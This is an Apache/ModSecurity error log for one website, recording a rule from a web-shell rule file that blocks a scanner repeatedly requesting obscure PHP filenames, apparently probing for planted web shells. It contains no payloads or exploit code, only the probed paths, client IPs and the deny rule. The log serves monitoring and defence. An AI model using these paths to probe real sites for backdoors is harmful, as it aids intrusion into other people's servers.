[Sat Apr 18 20:22:19.941174 2026] [:error] [pid 9970:tid 9985] [client 52.236.80.95:5658] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aeN3eyYdRLRhVmaIMx20QQAAAMs"]
[Sat Apr 18 20:22:20.447095 2026] [:error] [pid 13023:tid 13045] [client 52.236.80.95:5856] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aeN3fP1e7hG8DAeABB8GygAAARQ"]
[Sat Apr 18 20:22:21.000862 2026] [:error] [pid 9864:tid 9916] [client 52.236.80.95:6083] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bypltspd.php"] [unique_id "aeN3fICFeowknfXHM7kcnwAAAEo"]
[Sat Apr 18 20:22:21.507894 2026] [:error] [pid 13023:tid 13044] [client 52.236.80.95:5978] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bypltspd.php"] [unique_id "aeN3ff1e7hG8DAeABB8GzwAAARM"]
[Sat Apr 18 20:22:22.064246 2026] [:error] [pid 13023:tid 13031] [client 52.236.80.95:6035] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bypltspd.php"] [unique_id "aeN3fv1e7hG8DAeABB8G0gAAAQY"]
[Sat Apr 18 20:22:22.672996 2026] [:error] [pid 13023:tid 13046] [client 52.236.80.95:5863] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bypltspd.php"] [unique_id "aeN3fv1e7hG8DAeABB8G1QAAARU"]
[Sat Apr 18 20:22:23.218920 2026] [:error] [pid 13023:tid 13034] [client 52.236.80.95:6041] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yee.php"] [unique_id "aeN3f_1e7hG8DAeABB8G2QAAAQk"]
[Sat Apr 18 20:22:23.891885 2026] [:error] [pid 13023:tid 13037] [client 52.236.80.95:5864] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yee.php"] [unique_id "aeN3f_1e7hG8DAeABB8G3wAAAQw"]
[Sat Apr 18 20:22:24.423044 2026] [:error] [pid 9864:tid 9923] [client 52.236.80.95:5776] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yee.php"] [unique_id "aeN3gICFeowknfXHM7kcpAAAAFE"]
[Sat Apr 18 20:22:25.057457 2026] [:error] [pid 9865:tid 9954] [client 52.236.80.95:5809] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yee.php"] [unique_id "aeN3gazb5knECIY-C-iCugAAAJE"]
[Sat Apr 18 20:22:25.595439 2026] [:error] [pid 9864:tid 9907] [client 52.236.80.95:6017] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/userfuns.php"] [unique_id "aeN3gYCFeowknfXHM7kcpQAAAEI"]
[Sat Apr 18 20:22:26.606923 2026] [:error] [pid 9970:tid 9994] [client 52.236.80.95:5967] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/userfuns.php"] [unique_id "aeN3giYdRLRhVmaIMx20RwAAANQ"]
[Sat Apr 18 20:22:27.154787 2026] [:error] [pid 13023:tid 13048] [client 52.236.80.95:6127] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/userfuns.php"] [unique_id "aeN3g_1e7hG8DAeABB8G5QAAARc"]
[Sat Apr 18 20:22:27.706013 2026] [:error] [pid 9970:tid 9980] [client 52.236.80.95:5859] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/userfuns.php"] [unique_id "aeN3gyYdRLRhVmaIMx20SQAAAMY"]
[Sat Apr 18 20:22:28.469868 2026] [:error] [pid 9970:tid 9984] [client 52.236.80.95:6142] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/packsin1.php"] [unique_id "aeN3hCYdRLRhVmaIMx20TQAAAMo"]
[Sat Apr 18 20:22:29.024006 2026] [:error] [pid 34288:tid 34307] [client 52.236.80.95:5962] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/packsin1.php"] [unique_id "aeN3heTIiy__PtiLmpnTagAAAY8"]
[Sat Apr 18 20:22:29.594593 2026] [:error] [pid 9864:tid 9914] [client 52.236.80.95:5760] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/packsin1.php"] [unique_id "aeN3hYCFeowknfXHM7kcrQAAAEg"]
[Sat Apr 18 20:22:30.123341 2026] [:error] [pid 9864:tid 9926] [client 52.236.80.95:5784] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/packsin1.php"] [unique_id "aeN3hoCFeowknfXHM7kcrgAAAFQ"]
[Sat Apr 18 20:22:31.040658 2026] [:error] [pid 9865:tid 9946] [client 52.236.80.95:5696] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wglum1.php"] [unique_id "aeN3h6zb5knECIY-C-iCwQAAAIk"]
[Sat Apr 18 20:22:31.723334 2026] [:error] [pid 34237:tid 34250] [client 52.236.80.95:5991] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wglum1.php"] [unique_id "aeN3hxBmX4Wq5a6rxfar-gAAAUs"]
[Sat Apr 18 20:22:32.321003 2026] [:error] [pid 34237:tid 34254] [client 52.236.80.95:5751] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wglum1.php"] [unique_id "aeN3iBBmX4Wq5a6rxfar_AAAAU8"]
[Sat Apr 18 20:22:32.906881 2026] [:error] [pid 34288:tid 34303] [client 52.236.80.95:6032] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wglum1.php"] [unique_id "aeN3iOTIiy__PtiLmpnTbAAAAYs"]
[Sat Apr 18 20:22:33.523600 2026] [:error] [pid 9864:tid 9927] [client 52.236.80.95:5952] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xper1.php"] [unique_id "aeN3iYCFeowknfXHM7kcugAAAFU"]
[Sat Apr 18 20:22:34.204347 2026] [:error] [pid 9864:tid 9920] [client 52.236.80.95:6094] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xper1.php"] [unique_id "aeN3ioCFeowknfXHM7kcvQAAAE4"]
[Sat Apr 18 20:22:34.798134 2026] [:error] [pid 34290:tid 34327] [client 52.236.80.95:6031] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xper1.php"] [unique_id "aeN3ihqX6WpmmAXOBi8c9gAAAcg"]
[Sat Apr 18 20:22:35.376302 2026] [:error] [pid 34237:tid 34257] [client 52.236.80.95:6136] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xper1.php"] [unique_id "aeN3ixBmX4Wq5a6rxfar_gAAAVI"]
[Sat Apr 18 20:22:36.275674 2026] [:error] [pid 34237:tid 34256] [client 52.236.80.95:6098] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yuzuru1.php"] [unique_id "aeN3jBBmX4Wq5a6rxfasAgAAAVE"]
[Sat Apr 18 20:22:36.936962 2026] [:error] [pid 34237:tid 34240] [client 52.236.80.95:5854] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yuzuru1.php"] [unique_id "aeN3jBBmX4Wq5a6rxfasBwAAAUE"]
[Sat Apr 18 20:22:37.576709 2026] [:error] [pid 34237:tid 34239] [client 52.236.80.95:6123] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yuzuru1.php"] [unique_id "aeN3jRBmX4Wq5a6rxfasCwAAAUA"]
[Sat Apr 18 20:22:38.167386 2026] [:error] [pid 9864:tid 9909] [client 52.236.80.95:6097] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yuzuru1.php"] [unique_id "aeN3joCFeowknfXHM7kcvgAAAEQ"]
[Sat Apr 18 20:22:38.681542 2026] [:error] [pid 13023:tid 13033] [client 52.236.80.95:6056] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/oco.php"] [unique_id "aeN3jv1e7hG8DAeABB8G6wAAAQg"]
[Sat Apr 18 20:22:39.230445 2026] [:error] [pid 34237:tid 34253] [client 52.236.80.95:6103] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/oco.php"] [unique_id "aeN3jxBmX4Wq5a6rxfasEQAAAU4"]
[Sat Apr 18 20:22:39.762412 2026] [:error] [pid 34237:tid 34255] [client 52.236.80.95:6115] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/oco.php"] [unique_id "aeN3jxBmX4Wq5a6rxfasEwAAAVA"]
[Sat Apr 18 20:22:40.609706 2026] [:error] [pid 13023:tid 13040] [client 52.236.80.95:5858] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/oco.php"] [unique_id "aeN3kP1e7hG8DAeABB8G7wAAAQ8"]
[Sat Apr 18 20:22:41.256372 2026] [:error] [pid 34237:tid 34241] [client 52.236.80.95:5732] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ogr.php"] [unique_id "aeN3kRBmX4Wq5a6rxfasFwAAAUI"]
[Sat Apr 18 20:22:41.897048 2026] [:error] [pid 34237:tid 34250] [client 52.236.80.95:6009] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ogr.php"] [unique_id "aeN3kRBmX4Wq5a6rxfasGAAAAUs"]
[Sat Apr 18 20:22:42.882978 2026] [:error] [pid 9970:tid 9979] [client 52.236.80.95:6072] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ogr.php"] [unique_id "aeN3kiYdRLRhVmaIMx20XAAAAMU"]
[Sat Apr 18 20:22:43.422969 2026] [:error] [pid 9970:tid 9974] [client 52.236.80.95:6088] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ogr.php"] [unique_id "aeN3kyYdRLRhVmaIMx20XQAAAMA"]
[Sat Apr 18 20:22:44.079951 2026] [:error] [pid 34237:tid 34239] [client 52.236.80.95:6087] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/oti.php"] [unique_id "aeN3lBBmX4Wq5a6rxfasHgAAAUA"]
[Sat Apr 18 20:22:44.585767 2026] [:error] [pid 34237:tid 34242] [client 52.236.80.95:5924] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/oti.php"] [unique_id "aeN3lBBmX4Wq5a6rxfasIAAAAUM"]
[Sat Apr 18 20:22:45.125456 2026] [:error] [pid 9970:tid 9985] [client 52.236.80.95:6022] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/oti.php"] [unique_id "aeN3lSYdRLRhVmaIMx20YAAAAMs"]
[Sat Apr 18 20:22:45.653697 2026] [:error] [pid 9864:tid 9921] [client 52.236.80.95:6048] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/oti.php"] [unique_id "aeN3lYCFeowknfXHM7kcwgAAAE8"]
[Sat Apr 18 20:22:46.175505 2026] [:error] [pid 9864:tid 9928] [client 52.236.80.95:5971] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zc-124.php"] [unique_id "aeN3loCFeowknfXHM7kcxAAAAFY"]
[Sat Apr 18 20:22:46.798535 2026] [:error] [pid 9865:tid 9958] [client 52.236.80.95:6003] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zc-124.php"] [unique_id "aeN3lqzb5knECIY-C-iCwwAAAJU"]
[Sat Apr 18 20:22:47.343529 2026] [:error] [pid 34237:tid 34249] [client 52.236.80.95:5799] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zc-124.php"] [unique_id "aeN3lxBmX4Wq5a6rxfasKgAAAUo"]
[Sat Apr 18 20:22:47.848490 2026] [:error] [pid 9865:tid 9950] [client 52.236.80.95:5963] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zc-124.php"] [unique_id "aeN3l6zb5knECIY-C-iCxAAAAI0"]
[Sat Apr 18 20:22:48.529594 2026] [:error] [pid 9970:tid 9982] [client 52.236.80.95:5881] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpls.php"] [unique_id "aeN3mCYdRLRhVmaIMx20YwAAAMg"]
[Sat Apr 18 20:22:49.286105 2026] [:error] [pid 34290:tid 34338] [client 52.236.80.95:5877] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpls.php"] [unique_id "aeN3mRqX6WpmmAXOBi8c_gAAAdM"]
[Sat Apr 18 20:22:49.794822 2026] [:error] [pid 34290:tid 34332] [client 52.236.80.95:5983] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpls.php"] [unique_id "aeN3mRqX6WpmmAXOBi8c_wAAAc0"]
[Sat Apr 18 20:22:50.369618 2026] [:error] [pid 9864:tid 9930] [client 52.236.80.95:5880] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpls.php"] [unique_id "aeN3moCFeowknfXHM7kcyAAAAFg"]
[Sat Apr 18 20:22:50.922134 2026] [:error] [pid 34290:tid 34327] [client 52.236.80.95:5948] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/casp1.php"] [unique_id "aeN3mhqX6WpmmAXOBi8dAgAAAcg"]
[Sat Apr 18 20:22:51.502033 2026] [:error] [pid 9864:tid 9910] [client 52.236.80.95:5926] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/casp1.php"] [unique_id "aeN3m4CFeowknfXHM7kczAAAAEU"]
[Sat Apr 18 20:22:52.283007 2026] [:error] [pid 9864:tid 9926] [client 52.236.80.95:6038] File does not exist: /usr/local/apache/htdocs/suspended-page/casp1.php
[Sat Apr 18 20:22:52.563604 2026] [:error] [pid 9864:tid 9908] [client 52.236.80.95:6038] File does not exist: /usr/local/apache/htdocs/suspended-page/xa.php
[Sat Apr 18 20:22:52.834670 2026] [:error] [pid 9864:tid 9918] [client 52.236.80.95:6038] File does not exist: /usr/local/apache/htdocs/suspended-page/fss.php
[Sat Apr 18 20:22:53.173618 2026] [:error] [pid 9864:tid 9928] [client 52.236.80.95:6038] File does not exist: /usr/local/apache/htdocs/suspended-page/ctex1.php
[Sat Apr 18 20:22:53.427932 2026] [:error] [pid 9864:tid 9906] [client 52.236.80.95:6038] File does not exist: /usr/local/apache/htdocs/suspended-page/011i.php
[Sat Apr 18 20:22:53.686250 2026] [:error] [pid 9864:tid 9905] [client 52.236.80.95:6038] File does not exist: /usr/local/apache/htdocs/suspended-page/gk.php
[Sat Apr 18 20:22:53.960887 2026] [:error] [pid 9864:tid 9913] [client 52.236.80.95:6038] File does not exist: /usr/local/apache/htdocs/suspended-page/aevly.php
[Sat Apr 18 20:22:54.213777 2026] [:error] [pid 9864:tid 9930] [client 52.236.80.95:6038] File does not exist: /usr/local/apache/htdocs/suspended-page/fssxwoyh.php
[Sat Apr 18 20:22:54.486854 2026] [:error] [pid 9864:tid 9922] [client 52.236.80.95:6038] File does not exist: /usr/local/apache/htdocs/suspended-page/wcvejtpr.php
[Sat Apr 18 20:22:54.745823 2026] [:error] [pid 9864:tid 9916] [client 52.236.80.95:6038] File does not exist: /usr/local/apache/htdocs/suspended-page/home.php
[Sat Apr 18 20:57:21.446130 2026] [:error] [pid 13023:tid 13048] [client 45.133.5.209:24341] File does not exist: /usr/local/apache/htdocs/suspended-page/bless.php
